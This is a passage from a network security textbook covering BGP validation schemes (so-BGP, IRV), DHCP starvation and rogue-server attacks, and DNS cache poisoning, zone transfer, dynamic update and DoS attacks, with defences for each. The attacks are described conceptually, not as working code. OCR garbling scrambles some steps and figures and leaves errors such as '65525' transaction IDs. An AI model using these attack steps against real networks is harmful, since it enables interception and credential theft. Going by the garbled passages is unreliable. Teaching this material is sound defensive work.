router R, builds the databases and the topology map shown in Fig. 3.21.

At this moment, if router R receives an UPDATE from AS 200 claiming a
path to the network 144.214.0.0/16 through the path {AS200, AS100}, it first
checks its database of validated AuthCerts to make certain the advertised prefix is
from an authorized AS. In this case, AS 200 is authorized. After that, router R
checks the topology map to verify the correctness of the AS-PATH. Since AS 200
is connected to AS 100 and AS 100 is connected AS 200, the path is correct.

However, if the received AS-PATH is {AS200, AS500, AS100}, router R
will discover that the path is invalid. It is because the topology map does not con-

tain any direct path between AS 500 and AS 100.
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Database of valid ASs

AS key

100 AS 100's pub key

200 AS 200's pub key

400 AS 400's pub key
EntityCerts 500 AS 500's pub key

Database of prefixes with authorzed ASs

AuthCerts Prefix Authorized ASs
144.214.0.0/16 AS 200
PolicyCerts Topology Map

Fig. 3.21. Illustration of the local stored information in a so-BGP router.

Objectives achieved
As can be seen, through the use of EntyCert, AuthCert, and PolicyCert, so-BGP
can achieve the following objectives.
Hop Integrity: Though hop integrity is not provided by
so-BGP, it can be achieved by using secure
transport protocols like IPsec for BGP ses-

sions.

Origin authentication: AuthCert and EntityCert are used to verify pre-

fix ownership.

Path authentication: PolicyCert and EntityCert are used to verify

the validity of a route.
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3.6.24 IRV

Interdomain Routing Validation (IRV) provides another mechanism to protect in-
terdoamin routing. Unlike S-BGP and so-BGP that integrate the authentication
component into the BGP protocol, the operation of IRV is independent of the
routing protocol.

IRV is essentially a decentralized query system. In the IRV architecture,
each AS has to be deployed with at least one IRV server. Each IRV server main-
tains a database which can store any type of information about its AS, such as
current routing tables, routing policy, received route advertisements, as well as

route advertisements sent to neighbor ASs.

(i) Operations

The operation of IRV is simple. Upon reception of an UPDATE message, if a
BGP router finds the data suspicious, it can query its designated IRV server about
the correctness of the received data. The IRV server will check its local database
to answer the query, and if necessary, it will query another IRV server in the net-
work for more information. To ensure the integrity of the queries and responses,
they are executed over a secure transport (e.g., Internet Protocol Security (IPsec)
or Transport Layer Security (TLS)).

Fig. 3.22 shows an example of IRV network which consists of three ASs
and there is an IRV server in each AS. Suppose that router C receives the
AS-PATH {AS200, AS100} for the prefix 144.214.0.0/16. To verify the origin of
the prefix, it makes a query to its home IRV server, IRV-C, which in turns con-
tacts the IRV server in AS100, IRV-A. Since IRV-A has the information of
144.214.0.0/16, IRV-C responds Router C that the origin of the prefix is correct.
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On the other hand, the authenticity of the received AS-PATH can be verified
by querying the corresponding IRV servers for all ASs along the path. If all the
IRV servers respond that the data is correct, the path will be valid.

As can be seen, this path validation process is resource consuming. There-
fore, it is not appropriate to verify every received UPDATE. Instead, verification
can be performed at random intervals, or only verify those suspicious UPDATE:s.
The definition of suspicious UPDATEs varies from different ASs and is not cov-
ered in the design of IRV.

An important design issue in the IRV architecture is the way to locate the
IRV server corresponding to a particular AS. One approach is to establish a
well-known registry that records the location information (e.g., IP addresses) for

all ASs.
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Fig. 3.22. IRV operations.

Objectives achieved
s0-BGP achieves the following issues which are fundamental to mitigate BGP
vulnerabilities:
Hop Integrity: Achieved by using secure transport be-
tween IRV servers

Origin authentication: Achieved by querying the remote IRV
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server of the origin AS indicated in the
UPDATE message.

Path authentication: Achieved by querying all the corresponding
IRV servers for the ASs listed in the
AS-PATH.

The major advantage of IRV is that it allows incremental deployment. That is, a
group of ASs can implement IRV and its IRV service will not affect the operation
or knowledge of other ASs that do not implement IRV. However, to provide per-
formance efficiency, IRV only validates selective UPDATEs. However, this se-
lective validation will compromise security because the skipped UPDATESs can be
forged. On the other hand, although it is difficult, the databases supporting IRV
services could be poisoned. If it happens, the security model in IRV would be

broken.
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4. Network Infrastructure Security -- Address Configuration and
Naming

This chapter gives a study on the network services related to infrastructure secu-
rity. The services covered are Dynamic Host Configuration Protocol (DHCP) and
Domain Name System (DNS), as address configuration and naming are ones of
the key components in the network infrastructure. The operations, vulnerability

and mitigations of them are discussed.

4.1 Introduction

Addressing and naming systems are ones of the key components of network
infrastructure, as mentioned in Chapter 1. They are important because users will
not be able to connect to the right destinations if they are incorrectly operating.
For example, if one fails to obtain an IP address, it will fail to join to the network.
Even worse, one’s identify can be spoofed if an address is wrongly assigned.
Similarly, if a domain name is improperly resolved, users can be redirected to
somewhere malicious such as the fake login page of an online bank.

In this chapter, the basic concepts and securities of Dynamic Host Configu-
ration Protocol (DHCP) and Domain Name System (DNS) will be discussed.
DHCEP is used to automatically configure client machines with IP address and
other network configuration parameters, such as the default gateway and DNS
server addresses. Since DHCP has no provisions for security, it suffers from at-
tacks such as address starvation and server impersonation. The address starvation
attack is to request all of the available addresses so that new clients are not able to
get IP addresses. The server impersonation attack causes a higher impact. Since
client machines will not be preconfigured with the information of DHCP server, it

trusts any DHCP response from any server in the network. As a result, attackers
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can set up a rogue DHCP server that returns clients with fake network information
such as wrong default gateway of DNS server addresses.

Like DHCP, DNS provides no security mechanism. DNS provides the infra-
structure for translating domain names into their equivalent IP addresses. How-
ever, this address resolution process suffers from various kinds of attacks such as
cache poisoning and denial of service. One technique for securing DNS is through
the use of DNS Security Extensions (DNSSEC).

In Sect. 4.2, we will review the DHCP basic, and discuss the address starva-
tion and server impersonation attacks. In Sect. 4.3, we will first review the DNS
basic. After that, we will detail the problems of DNS and some attacks. Finally,

we will present DNSSEC and explain how it solves the problems of DNS.

4.2 DHCP Attack

4.2.1 DHCP Basic

DHCP Concept

Dynamic Host Configuration Protocol (DHCP) is used to automatically configure
client machines with a dynamically assigned IP address and other network con-
figuration parameters, such as the default gateway and DNS server addresses,
during their boot time. It eliminates the need for network administrators to keep
track of individual client IP addresses.

In the past (without DHCP), network administrators have to statically assign
an IP address to each client machine, and users have to configure their computers
with the assigned IP address manually. This process not only requires the users to
be knowledgeable but also makes mis-configuration common.

DHCP is particularly useful in environments where computers are fre-
quently added to or removed from the network. For example, ISPs use DHCP to

configure their dial-up clients. When a client machine logs in, it will be automati-
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cally assigned an IP address, when it logs out, that address will be reclaimed. The
good things about this dynamic address assignment are twofold. To the users, they
do not need to care about the configuration of network parameters. Since most
computers are DHCP ready by default, they just need to enter their username and
password to log in to their ISP. To the ISP, since an IP address will be reclaimed
when the client logs out, that address can be assigned to another future user. It
helps combat the problem of the shortage of IP address.

The correct operations of DHCP are critical. If it is exploited, users may be
configured with fake network information such as wrong name server address,

causing security threats.

DHCP Operations
The general idea of the DHCP operations are summarized below and shown in

Fig. 4.1.

1. The network administrator just needs to configure the DHCP server with a pool
of IP addresses and other desired network configuration information.

2. When a client machine is booted up, as long as it is DHCP enabled, it will
automatically ask the DHCP server to obtain an IP address.

3. The server will then select an available address from the pool and response the

client with the selected address and other network configuration information.

The DHCP operations involve a number of message exchanges, as shown in the

following steps and in Fig. 4.2:

1. The client broadcasts the DHCPDISCOVER packet to the network.

2. The server sends back the client a DHCPOFFER packet which contains the of-
fered address.

3. The client broadcasts a DHCPREQUEST packet, informing the server that it

could like to be assigned the address offered in step 2.
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4. The server sends the client a DHCPACK packet which contains network con-
figuration parameters, such as default gateway and DNS server addresses.
5. At this point, the client has been configured with the offered IP address and the

other network configuration parameters.

Since the client has not been preconfigured with any network information (in-
cluding the DHCP server address) when it is booted up, it has to use broadcast
message (DHCPDISCOVER) to reach the DHCP server in step 1. However, you
may wonder why, in step 3, the DHCPREQUEST packet is broadcasted instead of
uni-casted as the client already knows the DHCP server address in step 2. The
reason is that, if there are more than one DHCP servers in the network, the client
may receive more than one DHCPOFFER packets in step 2. The client broadcasts
the DHCPREQUEST packet is, on the one hand, to request the offered address
from the specified server, and, on the other hand, to implicitly decline the offers

from other servers.

@ I've just joined to
this network
Address Pool:

10.10.10.101
10.10.10.102

10.10.10.200
DHCP Client @ DHCP server |Network Configuration

Parameters:

Default Gateway — 10.10.10.1
Welcome. Here is your IP and DNS Servers—);om‘loz
network configurations: : T

IP =10.10.10.105 \_/_\

Default Gateway=10.10.10.1
DNS Servers  =10.10.10.2

Fig. 4.1. DHCP operations
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DHCP server
DHCP Client
10.10.10.3
DHCP Discover (broadcast)
1]
o
Transaction ID: 101 DHCP Offer (unicast)
Srec: 10,10.10.3
Dest: 25 .255.255
- Ty ) FFER =
b r: 10.10.10.50
T >n ID: 101
DH -: 10.10.10.3
DHCP Request (broadcast)
Src: 0.0.0.0
Dest: «233.255.233
bl Type: DHCPREQUEST »
Yiaddr: 10.10.10.50
Transaction ID: 102 DHCP Ack (unicast)
DHCP server: 10.10.10.3 Sre: 10.10.10. 3
Dest: 255.255.255.255
-t ACK -
: 10.10.10.50
ien ID: 102
DHCP server: 10.10.10.3

Fig. 4.2. DHCP message exchanges

4.2.2 Attacks

As can be seen, like DNS, DHCP has no provisions for security, making it vul-
nerable to attacks. Address starvation and server impersonation are the
well-known DHCP attacks. The principle of the former is to request all of the

available DHCP addresses so that new clients are not able to get IP addresses,
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whereas the latter is to set up a rogue DHCP to return fake network information to

clients so that man-in-the-middle attacks can be achieved.

Denial of Service Attack using Address Starvation

When a DHCP server receives a DHCP request from a client, it will pick one
available address in the address pool and assign it to the client. However, since
this service is openly available, and there is no authentication mechanism in
DHCEP, attackers can easily exploit this simple operation to stop the DHCP ser-
vice.

The attacker can do it by sending a large number of DHCP requests with
different (forged) MAC addresses to the DHCP server. Since the server regards
each request with a new MAC as a new network client and assigns it an IP ad-
dress, when the attacker has sent a sufficient large number of requests, the server’s
address pool will be eventually fully allocated. As a result, any new legitimate
client will not be able to obtain an IP address as there is no more available ad-
dress. It is a kind of denial of service attack -- denial clients from having DHCP
service. This attack is illustrated in Fig. 4.3.

This attack takes not only a very short time to complete (as the pool has a
limited number of addresses) but also a very small amount of bandwidth. None-
theless, this attack can be easily mitigated with the security functions in today’s
sophisticated switches. For example, Cisco switches can limit the number of MAC
addresses a switch port can use. Suppose that the client machine attached to the
port tries to use different MAC addresses, when the number of the addresses
reaches the limit, the port will be shut down permanently or for a specified time. It

can stop the DHCP address starvation attack.
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Fig. 4.3 Address Starvation Attack.

Address Pool:
10.10.10.101
10.10.10.102

Fully
occupied

10.10.10.200

Man-in-the-middle Attack using Rogue DHCP server
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As can be seen, there is no DHCP server authentication and DHCP clients do not

know the DHCP server address when they are booted up. Therefore, an attacker

can set up its own DHCP server pretending to be the legitimate one and return

client with fake default gateway address. It can allow the attacker to intercept all

network traffic. The operations are shown below and illustrated in Fig. 4.4.

1.

future use. It runs its rogue DHCP server.

. When a DHCP client broadcast a DHCPDISCOVERY packet, both the legiti-

mentioned above.

tacker's own machine.

mate and the rogue servers send a DHCPOFFER to the client.

The attacker first grabs an IP address from the legitimate DHCP server for the

. The client accepts the response from whichever DHCP responds first. If the
client uses the one from the legitimate server, this attack will be in failure. To
ensure the client accept the respond from the rogue server, the attacker can first

deny the service from the legitimate server using the address starvation attack

. In the rogue server's response, the default gateway address points to the at-
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5. Then, whenever the client has packets to the destinations outside the local net-
work, the packets will be sent to the rogue default gateway that would capture

the content of the packets.

The rogue default gateway needs to rewrite the packets and forward them to
the correct default gateway so that the destination will not know there is a "man"
in the middle intercepting the packets. However, the packets from the destination
will go through the correct default gateway, which will forward the packets di-
rectly to the attacked client. Therefore, the rogue gateway cannot see any incom-
ing packets, which is the limitation of this attack.

To overcome this attack, some Cisco switches offer a DHCP security fea-
ture. The feature is called DHCP snooping that can be used to tell the switch
which ports are connected to a DHCP server. These ports are called trusted ports.
The switch only allows the trusted ports to respond DHCP queries, and suppress
DHCP responds on other ports. It prevents client machines, which are not con-

nected to the trusted ports, from pretending themselves as a DHCP server.

DNS Redirection Attack using Rogue DHCP server

This attack is very similar to that of man-in-the-middle attack mentioned above.
Instead of bogus default gateway, the rogue DHCP server sends bogus DNS
server. The DNS server contains fake addressing mappings and is controlled by
the attacker. This attack is illustrated in Fig. 4.5. In the figure, when the user wants
to go to www.bank.com, the bogus DNS server redirects him to 99.99.99.99,
which is a fake site run by the attacker. With the convincing copy of the front page
of the real www.bank.com, the attacker can now capture the user’s login ID and

password, as well as other sensitive information.
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Address Pool:
10.10.10.101
10.10.10.102

I've just joined to X

this network DHCP server| 10.10.10.200

Network Config. Parameters:
Default Gateway — 10.10.10.1

DNS Servers — 10.10.10.2

DHCP Client @

Here is your IP and network
configurations:

P =10.10.10.105 Rogue DHCP
Default Gateway=10.10.10.99 server

DNS Servers  =10.10.10.2

default gateway
10.10.10.1

Send traffic to
the “assigned”

default gateway Man-in-the-

middle

DHCP Client

Rogue DHCP Rogue default gateway

server 10.10.10.99

Fig. 4.4. Man-in-the-middle attack using a rogue DHCP server
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@ I've just joined to
this network o Address Pool:

10.10.10.101
10.10.10.102

10.10.10.200
Network Config. Parameters:
DHCP server Default Gateway — 10.10.10.1
DNS Servers —10.10.10.2

DHCP Client

Here is your IP and network

configurations:
. T T \/_\
Default Gateway=10.10.10.1 Rogue DHCP

DNS Servelrs =10.10.10.99 server

Login-in infarmatiom

www.bank.com?

Internet

Rogue www.bank.com
99.99.99.99

www.bank.com=
99.99.99.99

Rogue DNS server  DNS server www.bank.com
10.10.10.99 10.10.10.2

Fig. 4.5. DNS redirection attack using a rogue DHCP server

4.3 DNS Attack

4.3.1 DNS Basic

DNS Concept

The Domain Name System (DNS) is one of the fundamental building blocks of
the Internet. It provides a mechanism for resolving human memorizable domain
names (such as “www.ipm.edu.mo”) into numeric IP addresses (such as

202.175.9.219). Without it, we have to remember and type the numerical IP ad-
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dresses of the hosts we want to reach. Since most Internet applications depends on
the proper operations of the DNS, if it is out of service or under attack, a large part
of the Internet will be affected.

The DNS is basically a distributed database storing mappings of domain
names and IP addresses. No one single server will store the mappings of all hosts
in the world. Instead, a name server is responsible for maintaining some portion of
the domain name space, called a zone. The server is then said to be authoritative
for that zone. When one name server doesn't know how to resolve a particular
domain name (as not in its zone), it will ask the corresponding authoritative name
server to resolve the domain name. For example, Microsoft has a name server
which is responsible for maintaining the mappings under microsoft.com (a zone),
whereas Cisco is responsible for the mappings under cisco.com. When the Micro-
soft’s name server receives a request for the resolution of a host of Cisco, e.g.,
www.cisco.com, it will ask the Cisco’s name server to resolve the name and return

the corresponding IP address to it. See Fig. 4.6.

Zone of microsoft.com Zone of cisco.com

Name server

. X B Ns.gisco.com i
hostA microsoft.com ns.microsoft.com hostA.cisco.com

Zone file

2one file

hostA cisco.com 20.20.20.101
hostB.cisco.com 20.20.20.102
hostC.cisco.com 20.20.20.103

hostA microsoft.com 10.10.10.101
hostB.microsoft.com 10.10.10.102
hostC.microsoft.com 10.10.10.103

Fig. 4.6. DNS concept and components.
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DNS Space

The DNS forms a tree-like hierarchy. The topmost level in the hierarchy is the
root domain, represented as a dot (“.”). The next level is referred to as its top-level
domain (TLD). There is only one root domain, but there are more than 250 TLDs.

The TLDs can be classified as the following three types:

e Country-code TLDs (ccTLDs) — domains established for countries and territo-
ries, which include .hk, .mo, and .uk.

o Sponsored generic TLDs (gTLDs) — specialized domains with a sponsor repre-
senting the narrower community that is most affected by the TLD. These TLDs
include .edu, .gov, .int, .mil, .aero, .coop, and .museum.

e Unsponsored generic TLDs (gTLDs) — domains without a sponsoring organiza-

tion. These TLDs include .com, .net, .org, .biz, .info, .name, and .pro.

Each TLD includes many second-level domains (e.g., “mit” includes “mit.edu”),
and each second-level domain can include a number of third-level domains (e.g.,

“mit.edu” include “eecs.mit.edu”), and so on. The DNS name space hierarchy can

be seen in Fig. 4.7.

Fig. 4.7. Domain Name Space example.
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DNS Components
The Domain Name System (DNS), as defined in RFC 1034 [1], has three major

components: zone files, name servers, and resolvers, as shown in Fig. 4.6.

Zone files:

Zone files are the text files containing the IP-host mappings for all nodes or hosts
within the zone. The mappings are defined in the form of resource records. A
number of types of resource record (RR), defined in RFC 1035 [2], are used to
describe different types of data in zone files. For example, type ‘A’ is used to rep-
resent a host address, type ‘NS’ is to represent an authoritative name server, and

type ‘MX’ is to represent an mail server.

Name servers:
There are many name servers in the DNS infrastructure. Each name server is re-
sponsible for the DNS data about a portion of the domain name space (in the form

of zone files). Name servers provide at least the following functions:

1. Maintaining the zone files under its own authority
2. Providing answers to the DNS questions from its clients
3. Asking other name servers to resolve domain names that it does not know how

to resolve

The Berkeley Internet Name Daemon (BIND) is the most commonly used DNS
server on the Internet. A DNS server typically listens to UDP port 53 for name
resolution queries and TCP 53 for zone transfers (the operation of zone transfer

will be discussed later).
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Resolver:

A resolver can be a background process, or just a set of library routines that is
embedded in the application programs, e.g., Web browser and FTP client. A re-
solver is responsible to handle all interaction with its local DNS server, and per-

form the following tasks:

1. Sending DNS queries to name servers
2. Heeding DNS responses from name servers

3. Returning the answer to the application programs that requested it.

DNS packet format and valid response
The general format of DNS message is shown in Fig. 4.8. Among the fields, the

following four are of interest when it comes to security issues.

. It is a random number used to match response
e Transaction ID:

with query. When the client receives a re-
sponse from the server, it will check if the
response has the same transaction ID as the

one on its query.

This section contains the DNS answer, in the
e Answer Resource

Record structures: form of resource record (RR).

. This section contains either SOA or NS re-
e Authority Resource

Record structures: cords belonging to the zone of authority for

the owner name of the RR(s) in the Answer
section.

L. This section may contain other additional
e Additional Resource y

Record structures: RR(s) that the receiver may find of interest.
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Note that if there are two responses, the client will accept the first response first,
and silently drop the later one. However, the way of doing this will cause security

threats, as will be shown in the cache poisoning section.

0 15 16 31
Transaction ID Flags

Total Questions Total Answer RRs

Total Authority RRs Total Additional RRs

Questions

Answer Resource Record structures
Authority Resource Record structures
Additional Resource Record structures

Fig. 4.8. The format of DNS queries and responses

Attention should place on the checking process of a requesting client (can be
a resolver or a DNS server) to determine whether the response is valid or not. The
client only accepts the responses with the same IP address, port number and
transaction ID as the ones in its query. An example of valid response is shown be-
low. In other words, if these fields are correct, other fields will not be validated.
As will be discussed in Sect. 4.3.2, this validation method can be exploited to per-

form cache poisoning attacks.

Query Response

Transaction ID : 5858 Transaction ID  : 5858

Source IP 0 12.12.12.12 Destination [P : 12.12.12.12

Source Port  :36 Destination Port : 36

Que: IP of www.cityu.edu.hk? | Ans: www.cityu.edu.hk=144.214.5.218

Zone transfer
To provide reliable naming service, each zone can have more than one name

server, but only one name server can be the master server for the zone. Other
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servers are referred to as slaves or secondary servers. The master server is where
the actual changes to the zone data take place. The slave servers will maintain
copies of the master’s zone data. When the master server is down, a slave server
will take over its tasks.

A DNS zone transfer refers to the way a slave server updates the entire con-
tent of its zone file from the master server. This process is to keep the slave’s zone
file in synchronization with the master’s one.

However, this zone transfer may cause security threats. For example, a slave
DNS can become poisoned if it accepts zone updates from a malicious source. On
the other hand, since the transaction of zone transfer reveals much more informa-

tion than a normal DNS query and response, it can cause information disclosure.

Name Resolution and Caching
The process of translating a domain name to its corresponding IP address is called
name resolution. The resolution process is illustrated with the example shown in

Fig. 4.9:

1. The client, in the cityu.edu.hk domain, sends a DNS query to its configured
name server, 144.214.0.1, for the IP address of www.example.com.

2. When the resolving name server (144.214.0.1) receives the query, if it is au-
thoritative for the domain, it will return the answer to the client. However, in
this example, the resolving name server is not the authority of example.com (it
is the authority of cityu.edu.hk). In this case, the resolving name server will
query the root server for the address of www.example.com.

3. Since the address is with the .com top-level domain, the root server will refer
the resolving name server to the .com name server.

4. Similarly, the resolving name server will ask the .com name server, ns.com, for
the same question.

5. The .com name server refers the resolving name server to ns.example.com.
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6. Then, the resolving server sends a DNS query (on behalf of the client) to
ns.example.com for the IP of www.example.com.

7. Since ns.example.com is authoritative for the example.com domain, by check-
ing its DNS database (zone file), ns.example.com returns the answer
(www.example.com = 30.30.30.100) to the resolving name server.

8. The resolving name server then forwards the answer to the client.

As can be seen, the cost of name resolution for non-local hosts is very high,
which involves a number of round trips between name servers on the Internet.
Therefore, name servers use cache to make the DNS service more efficient. Spe-
cifically, name servers will store the DNS answers locally for a specified TTL
(time to live) period. Therefore, in the future, if the same question is answered, the
name server can provide the answer (from its cache) without the need to contact
the authoritative server again. It not only reduces network traffic but also makes
the address resolution process faster. Although caching is essential for the opera-
tion of DNS systems, it is also a source of threats, which will be addressed in the

cache poisoning section.

4.3.2 DNS Vulnerabilities

Since a client commonly trusts its preconfigured DNS server, it will regard all
resolution response from the server valid. Therefore, if a server is somehow com-
promised, or the legitimate response is intercepted and modified, it is possible to
send a DNS response with incorrect information to the requesting client. Unfortu-
nately, DNS are subjected to various kinds of attacks.

There are three approaches to return fake information:

1. To modify the zone file
2. To synchronize a slave server with fake zone files

3. To return fake IP information to clients
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30.30.30.1 example.com’s zone data:

é#ample,oom IN NS ns.example.com
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;ww.example.com IN A 30.30.30.100

Fig. 4.9. Example of address resolution.
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Zone files are the primary source of zone data (containing the mappings of
hostname to IP address). To modify the zone data, the most direct way is to com-
promise the DNS server and gain the command-level access, which involves host
security. Instead of gaining direct access of a server, one can also send incorrect
zone data to a DNS server (slave) through a normal zone transfer process. It in-
volves the security between two servers (primary and slave). Another approach is
to return fake IP information to clients during the name resolution process, which
can be achieved by a number of ways. These attacking approaches will be elabo-

rated in the following sections.

Cache Poisoning Attack

As mentioned before, DNS responses will be cached, and the cache is essential in
the DNS operations. However, attackers can abuse this cache function by putting
incorrect information in a DNS server’s cache. This kind of attack is called DNS

cache poisoning. There are a number of ways to perform cache poisoning.

Wayl: set up a rogue DNS server with malicious records

Suppose that an attacker wants to place a malicious record in the targeted DNS
server, ns.victim.com, so that all the clients asking for the IP of www.cnn.com
will be returned the fake 66.66.66.66 IP address. The attacker can achieve it by the

following steps, which is shown in Fig. 4.10.

1. The attacker first sets up a malicious DNS server, ns.attacker.com, for his own
domain, attacker.com.

2. It then makes a DNS query to the victim’s DNS server asking it to resolve
www.attacker.com.

3. Since the server is not authoritative for the attacker.com domain, it will contact
the attacker’s DNS server, ns.attacker.com, to get an answer for the query.

4. ns.attacker.com will reply the DNS record of www.attacker.com=44.44.44.44

to dns.victim.com. However, at the same time, in the reply packet, an addi-
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tional record of www.cnn.com=66.66.66.66 is also included in the Additional
Resource Record field (as shown in Fig. 4.8).

5. After having received the reply, ns.victim.com passes back the answer of
www.attacker.com=44.44.44.44 to the attacker. However, since ns.victim.com
is caching responses, it caches the information stored in the reply packet, i.e., it
caches both records of  www.attacker.com=44.44.44.44 and
WWW.cnn.com=66.66.66.66.

6. The record of www.attacker.com will be passed back to the attacker. Defi-
nitely, obtaining this information is not the goal. The goal is to place the false
information in the ns.attacker.com’s cache.

7. As long as this fake record exists in the cache, all future queries for
www.cnn.com will be directed to 66.66.66.66, which is probably a machine
under the attacker’s control. To conceal this attack, the 66.66.66.66 machine
could run a bouncer program that forwards all packets to the real
www.cnn.com and vice versa. Hence, the end client does not aware there is a

“man-in-the-middle” machine.

Way?2: send a spoofed reply to the victim client with the help of a sniffer
Instead of setting up a rogue DNS server, if the attacker is able to place himself
between the client and the DNS server, it could intercept the DNS request and
send a reply with false information the client. See Fig. 4.11.

Please remind that a client only accepts the reply with the same transaction
ID as the one on its query packet. To know this ID, the attacker can run a sniffer
that captures all network packets. With the ID, the attacker can forge a DNS reply

packet containing incorrect information to the client.
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Fig. 4.10. DNS Cache Poisoning using a malicious DNS server.

Nonetheless, there are some limitations. First, the attacker must reply before
the legitimate DNS server does. If the legitimate reply comes first, the attack will
fail. It is because a client regards the first reply as valid and ignores the others. It
is much like a race game. To increase the chance of winning the game, the at-
tacker can use DoS attacks to slow down the legitimate DNS server.

Second, the attacker has to be able to capture the network packets (so as to
know the transaction ID). Capturing packets is difficult in a switched network, and
techniques such as ARP spoofing (as mentioned in Sect. 2.2.2) may need to be
performed in advance. The next attack we are going to introduce does not require

packet capture.
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DNS Query
@ Query: IP of www.cnn.com?

Trans ID: 3636
Src IP: 12.12.12.100
Src Port : 1212

Client

@ ns.victim.com

Obtain packet
content by sniffer

I P,

DNS Response @

Ans: www.cnn.com=66.66.66.66
Trans ID: 3636

Dest IP: 12.12.12.100

Dest Port : 1212

0%

Attacker

Fig. 4.11. DNS cache poisoning using a sniffer.

Way3: send a large number of spoofed replies to the victim client

The attack of DNS ID spoofing requires the attacker to know the transaction ID
first. It can be done by sending a large number of replies using various values of
transaction ID, hoping that any one of them would match the one the client is us-
ing.

Actually, the transaction ID takes only 2 bytes, which implies 65525 possible val-
ues. Therefore, by sending 65525 fake replies (using different ID), one of them
would contain the correct transaction ID and is able to fool the victim.

This technique is called birthday attack because it is based on the Birthday
Paradox, which says the probability that two or more people in a gathering of 23
persons having the same birthday date is greater than 0.5.

Now, the attacker does not need a sniffer to learn the transaction ID, but it

causes another problem - when does the attacker launch the birthday attack? That
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is, how does it know when the client makes a query? This challenging task makes

this attack impractical.

Way4: attacker sends a large number of spoofed replies to the victim DNS server
In way 3, the attacker cannot know when the client makes a query. However, ac-
tually, the attacker can make his own query and then send its malicious reply to
the DNS server. Then, the DNS server will contain a fake DNS entry.

Fig. 4.12 shows an example. Suppose that the attacker wants to spoof the

address of www.cnn.com to 66.66.66.66, the operation is as follow:

1. The attacker sends a query to the victim’s DNS server to resolve
WWW.cnn.com.

2. After having received the query, the server will send a query to the legitimate
ns.cnn.com for the IP of www.cnn.com, and wait for its reply.

3. During this waiting period, the attacker itself sends the DNS server a spoofed
DNS reply stating that the IP address of www.cnn.com is 66.66.66.66.

4. Now, the cache of the DNS server is poisoned, and all future queries asking the
IP address of www.cnn.com will be returned to 66.66.66.66, which can be a

malicious machine under the attacker’s control.

However, in the above step 3, the attacker has to tackle two technical diffi-
culties. First, the reply must contain the same transaction ID as the one the DNS
uses to query ns.cnn.com, i.e., 2525 in the example. To achieve it, the attacker can
run a birthday attack -- to send a large number of spoofed replies using different
transaction IDs, hoping that any one of them contains the correct ID. To increase
the chance of matching the transaction ID, the attacker can send a large number of
queries (say, 1000) in the step 1 mentioned above.

Another difficulty is that the reply must have the same source port as the

one shown in the DNS server’s query, i.e., 2323 in the example. Since the source
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port of ns.victim.com is randomly chosen (and >1024), it is hard to predict the
value of the source port. However, on most of the DNS server, the source port will
not change for each client. Therefore, if the attacker is working from an authorita-
tive name server (or even running its own one), he can first send a query to the
victim’s DNS server asking for an IP of the attacker’s domain. After having re-
ceived the query, the attacker’s DNS server would know which source port the
victim’s DNS server is using.

Based on the calculation in a previous study, as long as the source port is
known, by sending 650 queries and 650 fake replies, the probability of this attack
to be successful (with a correct transaction ID, and the server’s cache is poisoned)

is about 96%.

@ DNS Query @ DNS Query

Query: IP of www.cnn.com? Query: IP of www.cnn.com?
Trans ID: 3636 Trans ID: 2525
SrcIP:12.12.12.100 SrcIP: 12.12.12.1
Src Port number: 1212 Src Port number: 2323
Attacker ns.victim.com ns.cnn.com

() ==

DNS Response

Ans: www.cnn.com=66.66.66.66
Trans ID: variable

DestIP: 12.12.12.1

Dest Port number: 2323

Fig. 4.12. DNS cache poisoning using birthday attack.



4. Network Infrastructure Security -- Address Configuration and Naming 161

Buffer Overflow Attack

The buffer overflow attack is to make use of the buffer-length computation bug in
DNS server implementation to execute unpredictable commands on the server. It
is not impossible that a malicious DNS response packet with unreasonable values
(e.g., contains a very long hostname or a very large value of packet length) may
cause some server implementations to overwrite data outside their buffer, allowing
the attacker to gain command-level access. With the access, the attacker can mod-

ify the zone files.

Zone Transfer Attack

The aim of this attack is to place the incorrect data in the slave server through the
normal zone transfer process between the master and slave servers. The following
is a possible way to achieve the zone transfer attack, given that the attacker is able

to perform man-in-the-middle and DoS attacks).

1. The attacker first performs a man-in-the-middle attack and becomes capable of
intercepting the traffic between the master and slave servers.

2. When the slave asks the master server to perform a zone transfer, the attacker
can intercept the query, and then return fake data to the slave server.

3. The slave now contains incorrect data.

4. The attacker then performs a DoS attack to make the master server out of ser-
vice.

5. The slave server now acts as the master server and starts to serve its clients.

6. The clients would then receive the incorrect data from the server.

To mitigate it, some DNS server implementations use access control list.
The list contains the IP addressees of all the slave servers, and only the servers on

the list can perform zone transfer.
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Denial of Service Attack

The general concept of DoS attack is to flood a server with requests to make it too
busy to accept new legitimate requests, or to make it respond so slowly as to be
rendered effectively unavailable.

However, in DNS, another form of DoS can be achieved by making use
some of the resource record types in zone file. For example, Name Server (NS)
record is used to specify the authoritative name server for a given domain, e.g.,
“ibm.com IN NS ns.ibm.com”. If the attacker can poison the cache of a DNS
server with a NS record such as “ibm.com. IN NS ns.attacker.com”, the server will
refer ns.attacker.com to the clients querying any host of ibm.com. It denies the
clients from having the correct name service provided by ibm.com.

On the other hand, the Canonical Name (CNAME) record, which maps an
alias to the real name, can be used. For example, an attacker can poison the cache
of a DNS server with a CNAME record “www.cityu.edu.hk IN CNAME
www.cityu.edu.hk”, which refers to itself as the canonical name. In this case,
when a client queries the address of www.cityu.edu.hk, the query may end up to

the CNAME record recursively.

Dynamic Update Attack

In the conventional way, after manually editing the zone file, the name server has
to be restarted to make the changes effective. When the volume of changes is high,
this can become operationally unacceptable.

To efficiently change zone data, the dynamic update function (see RFC
2136 [3]) is used, which allows dynamically changing (such as adding and delet-
ing) the DNS records while the name server continues to service requests. With
this feature, the name server accepts update messages from external source or ap-
plication for individual records dynamically.

Dynamic update functionality is mostly used by programs like DHCP serv-

ers. After assigning IP addresses to a client, the DHCP server will inform the
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name server, using dynamic update protocol, to register the resulting
name-to-address mapping. Unfortunately, the process of dynamic update is inse-
cure. An attacker can easily change a server’s zone data by send forged dynamic
update packets (which is UDP).

To secure dynamic update, a simple access control security mechanism can
be performed -- to list the legitimate IP addresses in the zone file and only the

machines whose IP is on the list are allowed to perform dynamic update.

4.3.3 DNSSEC

One technique for securing DNS is through the use of DNS Security Extensions
(DNSSEC). In this section, we first describe the basic and background of
DNSSEC, and then discuss how it solves the problems of DNS. Note that we fo-
cus on conceptual security idea, and therefore, configuration or deployment details
will not be covered in this section. On the other hand, this section is not going to
cover every aspects of DNSSEC as it is quite complex and involves quite a lot of
issues. Interested readers please refer to http://www.dnssec.net/ for more informa-

tion.

4.3.3.1 DNSSEC background

Similar to many Internet protocols, the original design of DNS protocol specifica-
tion did not include security, making the DNS vulnerable to various kinds of at-
